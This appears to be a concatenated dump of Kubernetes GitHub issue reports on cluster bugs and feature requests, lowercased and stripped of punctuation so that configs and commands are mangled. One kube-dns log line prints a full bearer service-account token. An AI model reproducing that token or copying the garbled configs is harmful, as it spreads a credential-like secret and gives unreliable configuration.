dc845b7d-67ef-11e8-90c9-000c2932c1fe\ ,\r         \ resourceversion\ : \ 9557261\ ,\r         \ creationtimestamp\ : \ 2018-06-04t12:07:32z\ \r     },\r     \ spec\ : {\r         \ limits\ :  \r             {\r                 \ type\ : \ container\ ,\r                 \ default\ : {\r                     \ memory\ : \ 2gi\ \r                 },\r                 \ defaultrequest\ : {\r                     \ memory\ : \ 644245094400m\ \r                 }\r             }\r          \r     }\r }\r    \r \r the value of defaultrequest memory is not 0.6gi.\r \r i try some different value 0.3gi,0.8gi,1.1gi,1.5gi,only 0.5gi and 1.5gi work well.\r    \r {\r     \ kind\ : \ limitrange\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {\r         \ name\ : \ 8f0e28f9-67f0-11e8-90c9-000c2932c1fe\ ,\r         \ namespace\ : \ default\ ,\r         \ selflink\ : \ /api/v1/namespaces/default/limitranges/8f0e28f9-67f0-11e8-90c9-000c2932c1fe\ ,\r         \ uid\ : \ 8f0e2958-67f0-11e8-90c9-000c2932c1fe\ ,\r         \ resourceversion\ : \ 9557896\ ,\r         \ creationtimestamp\ : \ 2018-06-04t12:12:32z\ \r     },\r     \ spec\ : {\r         \ limits\ :  \r             {\r                 \ type\ : \ container\ ,\r                 \ default\ : {\r                     \ memory\ : \ 2gi\ \r                 },\r                 \ defaultrequest\ : {\r                     \ memory\ : \ 512mi\ \r                 }\r             }\r          \r     }\r }\r    \r \r \r   what you expected to happen  :\r it works well with any value.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  1.8.5 :\r - cloud provider or hardware configuration:\r - os  centos7 :\r - kernel  3.10.0-514.el7.x86_64 :\r - install tools:\r - others:\r

when running some gce pd csi driver e2e tests this warning gets printed out repeatedly. looks like it's in a tight retry loop.\r 1  what needs to be fixed so that this error doesn't happen?\r 2  if it does error out, can it retry a couple times then give up. right now it just continuously prints these warning statements drowning out any other log signals.\r    \r warning: pod log: csi-gce-node-h4qq4/csi-driver-registrar: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/gce-driver: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/csi-driver-registrar: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/gce-driver: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/csi-driver-registrar: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/gce-driver: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/csi-driver-registrar: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/gce-driver: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/csi-driver-registrar: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/gce-driver: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/csi-driver-registrar: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/gce-driver: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/csi-driver-registrar: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/gce-driver: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/csi-driver-registrar: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/gce-driver: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/csi-driver-registrar: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/gce-driver: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/csi-driver-registrar: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/gce-driver: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/csi-driver-registrar: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r warning: pod log: csi-gce-node-h4qq4/gce-driver: the server does not allow this method on the requested resource   pods/log csi-gce-node-h4qq4 \r    \r \r /cc @msau42 @pohly @mkimuram \r not sure who has the most context on this\r \r <!-- do not edit below this line -->\r 

if one target in multipath volume gets down   and   a pod that uses the volume is deleted and   quickly   recreated  e.g. by a deployment , the new pod never starts.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. run deployment with single replica with one multipath iscsi volume\r \r 2. destroy one target  e.g. switch the machine off . multipath will mark appropriate path as failed:\r    \r $ multipath -ll\r mpatha  36001405ecb7e7041b044ba9805a1628b  dm-1 lio-org ,tcmu device     \r size=1.0g features='1 queue_if_no_path' hwhandler='1 alua' wp=rw\r |-+- policy='round-robin 0' prio=0 status=enabled\r |  - 14:0:0:0 sda 8:0  failed faulty running                 <----\r |-+- policy='round-robin 0' prio=10 status=active\r |  - 15:0:0:0 sdb 8:16 active ready running\r  -+- policy='round-robin 0' prio=10 status=enabled\r    - 16:0:0:0 sdc 8:32 active ready running\r    \r \r 3. delete the deployment pod.\r \r 4. kubernetes will quickly start a new pod for the deployment.\r \r 5. this new pod will be  containercreating   or  error   forever,\r \r   what happened  :\r kubelet tries to waitforattach / setup volume for the new pod. the volume is still attached. kubelet goes through all targets and tries to find out if it's logged in or not. eventually it tries to read  /sys/class/iscsi_host/host415/device/session383/connection383:0/iscsi_connection/connection383:0/address  of the failed path and that returns error:\r \r https://github.com/kubernetes/kubernetes/blob/2f52e91d56dddde40a643c1202117ffdff55d930/pkg/volume/util/device_util_linux.go l164-l168\r \r   what you expected to happen  :\r kubelet assumes that the path is failed / not logged in and tries to recover it. if it fails it continues with multipath with 2 available devices and 1 failed one.\r \r imo, simple  continue  instead of  return  will do its job just fine.\r \r /assign\r  cc @bswartz @j-griffith @redbaron for iscsi expertise\r

gke uses a 10.219.0.0/16 and 10.216.0.0/16. however nowhere does it explicitly define that it's creating a network doing that, it just creates routes. some tools use the gce networks to use firewalls  specifically, i ran into this issue using google's internal firewall enforcer . to fix this i had to manually create dummy networks with those ranges.

when  federation-up.sh  fails in an e2e environment, it causes the test to error out and stop. this means, none of the cloud resources, i.e. none of the vms, ip addresses, loadbalancers and network rules are cleaned up. if the tests fail enough number of times to exhaust the quota, it leads to cascading failures and none of the future tests can pass until someone manually deletes all the resources. by this time the number of accumulated resources are so high that it is even painful to manually delete them. we should fix this.  if  federation-up.sh  fails, we should still run all the turn down scripts.  cc @kubernetes/sig-cluster-federation @colhom

environment  \r rkt version: 1.14.0\r docker version: 1.11.2\r hyperkube: v1.4.6\r    \r   /etc/systemd/system/kubelet.service\r  unit \r  conditionpathexists=/etc/kubernetes/kubelet.conf\r requires=docker.service\r after=docker.service\r  service \r environment=kubelet_version=v1.4.6_coreos.0\r execstart=/usr/lib/coreos/kubelet-wrapper --network-plugin=cni --pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true --cluster-dns=10.96.0.10 --cluster-domain=cluster.local\r    \r \r   what did you do?  \r \r i am running kubelt with official /usr/lib/coreos/kubelet-wrapper on coros 1185.3.0.\r \r   what did you see instead?  \r \r    \r kubelet-wrapper 8929 : i1115  8929 container.go:469  failed to update stats for container \ /system.slice/kubelet.service\ : stat failed on  with error: no such file or directory, continuing to push stats\r \r kubelet-wrapper 8929 : e1115  8929 summary.go:70  partial failure issuing getcontainerinfov2: partial failures:  \ /system.slice/kubelet.service/system.slice/hyperkube.service\ : recentstats: unable to find data for container /system.slice/kubelet.service/system.slice/hyperkube.service \r \r \r    \r the errors shows repeatedly. it looks like cgroup tree problem.\r anyone can help ? thanks :

what happened  :\r source address in udp packets are the only way to reliably identifies the originator and many udp based systems  like radius servers  rely on this fact. kube proxy in iptables mode masks the originator ip by obfuscating the originator address when forwards the request to the pod.\r \r   what you expected to happen  :\r option in server config or kube proxy settings to override this behavior and leave udp packets originators untouched. since udp packets are state less it can be routed back to the originator from the pod directly.\r \r   how to reproduce it    as minimally and precisely as possible :\r launch a pod and listen for udp packets on any port, the create a service and expose a nodeport. any request comes to pod through nodeport is from node ip address.

found when looking into dns configmap upgrade-test errors\r \r @bowei - can you take a look at the following and let me know if this is an issue for the 1.6 release or not? thanks!\r \r there are two tests failing around dns configmap in the following test job:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.5-gci-1.6-upgrade-cluster-new/18\r \r for context, this job is creating a 1.5 cluster, upgrading it to 1.6, then running the 1.6 e2e tests on it to ensure it acts like a fresh 1.6 cluster.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kubedns kube-dns rbac 1.6\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.6.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : coreos 1235.6.0\r -   kernel    e.g.  uname -a  : 4.7.3-coreos-r2\r -   install tools  : custom\r -   others  : -\r \r \r   what happened  :\r kube-dns couldn't perform a get on the kubernetes service in the default namespace. as a result kube-dns never becomes ready.\r    \r i0428 08:24:37.492029       1 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kube-dns/v1.6.0  linux/amd64  kubernetes/3872cb9\  -h \ authorization: bearer eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijrdwjllxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioijrdwjllwrucy10b2tlbi13nxfnyyisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vydmljzs1hy2nvdw50lm5hbwuioijrdwjllwrucyisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vydmljzs1hy2nvdw50lnvpzci6ijhhyjm5mwq1ltjizgmtmtflny1hmjkxltuyntqwmdlmmmjmyiisinn1yii6inn5c3rlbtpzzxj2awnlywnjb3vuddprdwjllxn5c3rlbtprdwjllwrucyj9.wju8tyeezefm1sepyclj-pun0emj6sgezzbzhrqdsb7j5nzgdp8mlpizm1vchaqkvydy29yx7fjvseth7m-co8z7sulmabpqsxh7xchzucfowhnhbw23nya3n97pe_4liwhiyehyjwbswi24xe25vwektfbcnnpwm3me6hm_lz9r102laovzogoweriplnselv699ct8pzzd90grdd9jfyt_twut77ccppoax65in5l4s19log-65iarcy8heg7arse8p3b9m_8qzdrbempzkywvdg7-wtaitnzkouqkfjggd6hfyo40fhjopv3jp6c-ixfa2jrnqxxpifvh1laprq\  https://10.3.0.1:443/api/v1/namespaces/default/services/kubernetes\r i0428 08:24:37.507574       1 round_trippers.go:318  get https://10.3.0.1:443/api/v1/namespaces/default/services/kubernetes 403 forbidden in 15 milliseconds\r i0428 08:24:37.507642       1 round_trippers.go:324  response headers:\r i0428 08:24:37.507682       1 round_trippers.go:327      x-content-type-options: nosniff\r i0428 08:24:37.507690       1 round_trippers.go:327      content-length: 97\r i0428 08:24:37.507696       1 round_trippers.go:327      date: fri, 28 apr 2017 08:24:37 gmt\r i0428 08:24:37.507703       1 round_trippers.go:327      content-type: text/plain\r i0428 08:24:37.507751       1 request.go:904  response body: user \ system:serviceaccount:kube-system:kube-dns\  cannot get services in the namespace \ default\ .\r i0428 08:24:37.507780       1 request.go:995  response body: \ user \\\ system:serviceaccount:kube-system:kube-dns\\\  cannot get services in the namespace \\\ default\\\ .\ \r i0428 08:24:37.507854       1 dns.go:176  ignoring error while waiting for service default/kubernetes: the server does not allow access to the requested resource  get services kubernetes . sleeping 1s before retrying.\r    \r \r   what you expected to happen  :\r no error.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. setup k8s with rbac enabled\r 1. install kube-dns\r \r   anything else we need to know  :\r to fix this, i added the  get  verb to kube-dns' clusterrole. if this is the correct behaviour, i'll do a pr.\r \r    \r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrole\r metadata:\r   name: system:kube-dns\r rules:\r - apigroups:\r   - \ \ \r   resources:\r   - endpoints\r   - services\r   verbs:\r   - get\r   - list\r   - watch\r

kubernetes version:   1.6.2  \r etcd version:   3.1.8  \r \r   environment  :\r - apiservers are virtual machines on kvm\r - debian jessie\r - kernel: 3.16.0-4-amd64\r - others: both etcd and kube-apiserver run on the same machines\r \r \r   what happened  :\r we were doing an upgrade of the configuration of etcd  flags election_timeout and heartbeat_interval \r we did upgrade all of our etcd servers one at a time  we have 5 \r we did check that the etcd cluster was healthy issuing  etcdctl cluster-health  and  etcdctl member list \r then kube-apiserver started to behave erratically, giving timeout to almost every request sent\r on the logs of the apiserver we can see lots of lines like that:\r \r    \r e0607 17:45:11.447234     367 watcher.go:188  watch chan error: etcdserver: mvcc: required revision has been compacted\r e0607 17:45:11.452760     367 watcher.go:188  watch chan error: etcdserver: mvcc: required revision has been compacted\r e0607 17:45:11.452898     367 watcher.go:188  watch chan error: etcdserver: mvcc: required revision has been compacted\r e0607 17:45:11.453120     367 watcher.go:188  watch chan error: etcdserver: mvcc: required revision has been compacted\r    \r in order for the apiservers to start behaving correctly, we had to perform a restart of the kube-apiserver service  just that one service, in all of our apiservers \r \r we did this twice, and twice it did happen the same. the cluster is in production, so we cannot risk a third outage to reproduce it again. the two times we tried it the behaviour was pretty consistent\r \r   what you expected to happen  :\r that etcd just updated its configuration and apiserver never stoped working\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. change the flags  election-timeout  and  heartbeat-interval  and then do a rolling restart on the etcd cluster\r 2. query apiserver ... and it should be failing\r \r   anything else we need to know  :\r \r just ask :

failure cluster  0b681c694c4656fe52a3  https://go.k8s.io/triage 0b681c694c4656fe52a3        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:216 jun 14 23:49:27.797: error waiting for all pods to be running and ready: 4 / 27 pods in namespace \ kube-system\  are not in running and ready state in 10m0s pod                    node                                    phase   grace conditions fluentd-gcp-v2.0-3l4hj jenkins-us-central1-f-minion-group-1767 running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-14 23:32:32 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-14 23:43:26 -0700 pdt containersnotready containers with unready status:  fluentd-gcp } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-14 23:32:50 -0700 pdt  }  fluentd-gcp-v2.0-cz4wc jenkins-us-central1-f-minion-group-41pz running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-14 23:32:33 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-14 23:43:21 -0700 pdt containersnotready containers with unready status:  fluentd-gcp } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-14 23:32:58 -0700 pdt  }  fluentd-gcp-v2.0-j3hmf jenkins-us-central1-f-master            running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-14 23:31:33 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-14 23:42:36 -0700 pdt containersnotready containers with unready status:  fluentd-gcp } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-14 23:31:46 -0700 pdt  }  fluentd-gcp-v2.0-j9vgd jenkins-us-central1-f-minion-group-h3h0 running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-14 23:32:33 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-14 23:43:38 -0700 pdt containersnotready containers with unready status:  fluentd-gcp } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-14 23:32:39 -0700 pdt  }   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:167           failure cluster statistics: 1 tests failed,    20 jobs failed,    418 builds failed. failure stats cover 1 day time range '14 jun 2017 22:37 utc' to '15 jun 2017 22:37 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | beforesuite | 20 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-reboot | 30 |  15 jun 2017 21:17 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-reboot/10128  | | ci-kubernetes-e2e-gci-gce-statefulset | 30 |  15 jun 2017 21:16 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-statefulset/7032  | | ci-kubernetes-e2e-gci-gce-examples | 29 |  15 jun 2017 21:03 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-examples/5877  |   current status  https://go.k8s.io/triage 0b681c694c4656fe52a3

i am trying to test ccm in digitalocean using ubuntu 16.04 64-bit image using kubeadm 1.8.0. i have found that kubelet will not assign ip for pods with  hostnetwork: true , if i start kubelet with  --cloud-provider=true .  this breaks cni plugins like calico  510 .\r \r reproducible steps:\r    \r  !/bin/bash\r \r set -x\r set -eou pipefail\r \r apt-get update -y\r apt-get install -y apt-transport-https curl ca-certificates\r \r curl -fssl https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\r echo 'deb http://apt.kubernetes.io/ kubernetes-xenial main' > /etc/apt/sources.list.d/kubernetes.list\r \r apt-get update -y\r apt-get install -y cron docker.io ebtables git kubectl kubelet socat kubeadm ntp || true\r \r cat > /etc/systemd/system/kubelet.service.d/20-pharmer.conf <<eof\r  service \r environment=\ kubelet_extra_args=--cloud-provider=external\ \r eof\r systemctl daemon-reload\r \r kubeadm reset\r kubeadm init --pod-network-cidr=192.168.0.0/16 --skip-token-print\r \r mkdir -p ~/.kube\r sudo cp -i /etc/kubernetes/admin.conf ~/.kube/config\r sudo chown $ id -u :$ id -g  ~/.kube/config\r    \r \r    \r root@c8:~  kubectl get pods -n kube-system -o wide\r name                         ready     status    restarts   age       ip        node\r etcd-c8                      1/1       running   0          9m        <none>    c8\r kube-apiserver-c8            1/1       running   0          8m        <none>    c8\r kube-controller-manager-c8   1/1       running   0          8m        <none>    c8\r kube-dns-545bc4bfd4-zcr9b    0/3       pending   0          9m        <none>    <none>\r kube-proxy-7ktph             1/1       running   0          9m        <none>    c8\r kube-scheduler-c8            1/1       running   0          8m        <none>    c8\r    \r we are supposed to see the external ip of the host for these pods  except kube-dns pod .

\r   is this a bug report or feature request?  : feature\r  \r   what happened  :\r we developed flex volume driver implementing 1. attach , 2. mount , 3. mountdevice 4, detach , 5. unmount call outs .  the  attach   call out fails if there are some error at vendor side or if user specify wrong access policies in pvc yaml. these error are not getting added as event in pod . the add only generic error events as below \r    warning\t\tfailedmount\tunable to mount volumes for pod \ wordpress-4199438522-50xjb_default 5603b982-0ef2-11e7-9fd7-42010a80002d \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ wordpress-4199438522-50xjb\ . list of unattached/unmounted volumes= wordpress-persistent-storage \r   50s\t\t50s\t\t1\t{kubelet gke-wordpress-cluster-default-pool-b41e0322-m764}\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ wordpress-4199438522-50xjb\ . list of unattached/unmounted volumes= wordpress-persistent-storage  \r     \r \r the actual error returned from flex driver is not getting logged in the event . so user will not have any idea why the volume mount failed\r   what you expected to happen  :\r \r the error returned from  attach  call out of flex volume driver should have been added as a event for pod . with this error, user should be able to debug and fix the error .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a persistentvolumeclaim pvc  bound to  persistentvolume pv  . \r 2. update the pv object with wrong paramters so that  attach  call will fail. \r 3. mount the pvc to pod \r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.4-1+1540c973d4ff9d\ , gitcommit:\ 1540c973d4ff9da2d6a204a7709084488a459ed4\ , gittreestate:\ clean\ , builddate:\ 2017-10-06t15:08:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r  name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r  \r - kernel  e.g.  uname -a  :  linux kube-dal12-cr59730d7b010e452ca98597366a3e5e57-w1.cloud.ibm 4.4.0-72-generic  93-ubuntu smp fri mar 31 14:07:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux  \r - install tools:\r - others:\r

since api selfsubjectrulesreview has implemented, i think we need ctl support to make it\r easier for users to know what actions they can do in specific namespace.\r \r  \r \r

\r \r   is this a bug report or feature request?  :\r   /area kube-proxy\r /area ipvs\r /assign @honkiko\r i'll send a fixing pull request tomorrow.\r \r   what happened  :\r on centos 7.2 with ipset 6.29,  kube-proxy in ipvs mode failed to create ipset sets.\r    \r jun 25 20:50:00 vm_3_4_centos kube-proxy 3828 : e0625 20:50:00.312569    3828 ipset.go:156  failed to make sure ip set: &{{kube-loop-back hash:ip,port,ip inet 1024 65536 0-65535 kubernetes endpoints dst ip:port, source ip for solving hairpin purpose} map   0xc42073e1d0} exist, error: error creating ipset kube-loop-back, error: exit status 2\r    \r \r after some dig, it turns out to be problem of ipset on centos/rh. see https://bugzilla.redhat.com/show_bug.cgi?id=1496859\r \r i tried ipset 6.29 on ubuntu, it's ok. but when i tried ipset 6.29 on centos, i got errors:\r    \r  root@vm_3_4_centos ~   ipset create foo hash:ip comment\r ipset v6.29: unknown argument:  comment'\r try  ipset help' for more information.\r    \r \r   what you expected to happen  :\r since the problematic ipset versions have very large installation base, we could remove ipset commet, or remove ipset commet with problematic ipset version. \r \r the problematic ipset also says it support comment by --help. the problem could be detected by a test run of \ ipset create foo hash:ip comment\ .\r \r   how to reproduce it  as minimally and precisely as possible   :\r create some service in kubernetes, run kube-proxy with ipvs mode on centos 7.x node. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : commit 67e7d4c  actually all commits after 10664ee8c6c \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos linux release 7.2.1511  core \r - kernel  e.g.  uname -a  : linux vm_3_4_centos 3.10.0-514.26.2.el7.x86_64  1 smp tue jul 4 15:04:05 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: \r - others: ipset v6.29, protocol version: 6\r

/area test\r   \r density_2018-08-08t05:23:41-04:00.pprof: parsing profile: unrecognized profile format\ failed to fetch any source profiles\ \ \r aug  8 05:23:53.166: info: density pods: 311 out of 900 created, 279 running, 32 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready\r aug  8 05:24:03.167: info: density pods: 311 out of 900 created, 279 running, 32 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready\r aug  8 05:24:13.166: info: density pods: 311 out of 900 created, 279 running, 32 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready\r aug  8 05:24:23.167: info: density pods: 311 out of 900 created, 279 running, 32 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready\r aug  8 05:24:33.166: info: density pods: 311 out of 900 created, 279 running, 32 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready\r aug  8 05:24:43.166: info: density pods: 311 out of 900 created, 279 running, 32 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready\r aug  8 05:24:52.739: info: failed to gather kube-scheduler cpu profile: failed to run 'go tool pprof': exit status 1, stderr: \ /home/leeivan/json/profiles/kube-scheduler_cpuprofile_density_2018-08-08t05:24:47-04:00.pprof: parsing profile: unrecognized profile format\ failed to fetch any source profiles\ \ \r aug  8 05:24:53.166: info: density pods: 311 out of 900 created, 279 running, 32 pending, 0 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready\r e0808 05:24:56.745100   11369 reflector.go:134  k8s.io/kubernetes/test/utils/pod_store.go:56: failed to list  v1.pod: stream error http2.streamerror{streamid:0x47, code:0x2, cause:error nil } when reading response body, may be caused by closed connection. please retry.\r aug  8 05:24:56.746: info: can't list pod debug info: stream error http2.streamerror{streamid:0x49, code:0x2, cause:error nil } when reading response body, may be caused by closed connection. please retry.\r i0808 05:24:56.746789   11369 runners.go:177  can't list pod debug info: stream error http2.streamerror{streamid:0x49, code:0x2, cause:error nil } when reading response body, may be caused by closed connection. please retry.\r aug  8 05:24:56.747: info: unexpected error occurred: only 324 pods started out of 900\r aug  8 05:24:56.748: info: e2e startup time for 900 pods: 8m43.983737954s\r aug  8 05:24:56.749: info: throughput  pods/s  during cluster saturation phase: 1.7208413\r aug  8 05:25:01.929: info: failed to gather kube-scheduler memory profile: failed to run 'go tool pprof': exit status 1, stderr: \ /home/leeivan/json/profiles/kube-scheduler_memoryprofile_density.pprof: parsing profile: unrecognized profile format\ failed to fetch any source profiles\ \ \r step: printing pod to node allocation data\r aug  8 05:27:18.286: info: unexpected error occurred: stream error http2.streamerror{streamid:0x49, code:0x2, cause:error nil } when reading response body, may be caused by closed connection. please retry.\r step: scheduling additional pods to measure startup latencies\r aug  8 05:27:24.053: info: found pod 'density-latency-pod-2' running\r aug  8 05:27:24.667: info: found pod 'density-latency-pod-1' running\r e0808 05:27:25.488029   11369 reflector.go:134  k8s.io/kubernetes/test/utils/pod_store.go:56: failed to list  v1.pod: stream error http2.streamerror{streamid:0x47, code:0x2, cause:error nil } when reading response body, may be caused by closed connection. please retry.

when creating a cluster on gce with kube-up  using kubernetes 0.14.2 , there's no output to indicate that ssh failed, and ~/.kube/.kubeconfig never got created. this popped up because what i _thought_ was the password for my ssh key was not, in fact, the password for my ssh key. whoops.  you can see the output i got here: https://gist.github.com/paddyforan/2a499a8140c3df742d1c  i assumed when i saw \ cluster created\ , it meant that the cluster had successfully been stood up, and didn't notice anything was wrong.  in the event of an error, i expected to see \ error: ssh failed\  or something similar, with a termination of the kube-up script.

what happened  :\r \r it returns  no matching container  when querying pods stats\r \r   what you expected to happen  :\r \r it returns correct stats of the given pod\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run kubelet with containerd endpoint and create a simple pod  podname , get container uid  $uid \r \r    \r curl --key apiserver-kubelet-client.key --cert apiserver-kubelet-client.pem --cacert ca.pem https://$kubelet_ip:10250/stats/default/podname/0/$uid\r no matching container\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

we should support image family in node e2e image config.\r \r it makes image validation much easier on gce.

aware of this when do https://github.com/kubernetes/kubernetes/pull/25329 and https://github.com/kubernetes/kubernetes/pull/25342  when client list a dir, the api server cache will traverse all objects in the store and filter see  store.list    https://github.com/kubernetes/kubernetes/blob/master/pkg/storage/watch_cache.go l231  and   list and filter  https://github.com/kubernetes/kubernetes/blob/master/pkg/storage/cacher.go l330-l342   , which is really expensive.  for namespace scoped resource, i think we could build namespace index for it. it will help a lot when list objects in a namespace.   @wojtek-t any ideas?

makes it hard to see what a petset is supposed to be doing.  should just be able to reuse the template displaying code.  @bprashanth

https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/cloud.go l28\r \r https://github.com/kubernetes/kubernetes/tree/master/pkg/cloudprovider/providers\r \r there are already load balancer setups built for all major cloud providers... however there is no built in option for metal deployments. \r i have already looked at https://github.com/kubernetes/contrib/tree/master/service-loadbalancer ... some people are setting up keepalived to do this as well. but there is no seamless built-in option.\r \r a lot of us are on providers like rackspace and softlayer and we would love to have a out-of-the-box setup. in fact, i would argue that k8s is much more relevant for us than for the cloud guys!

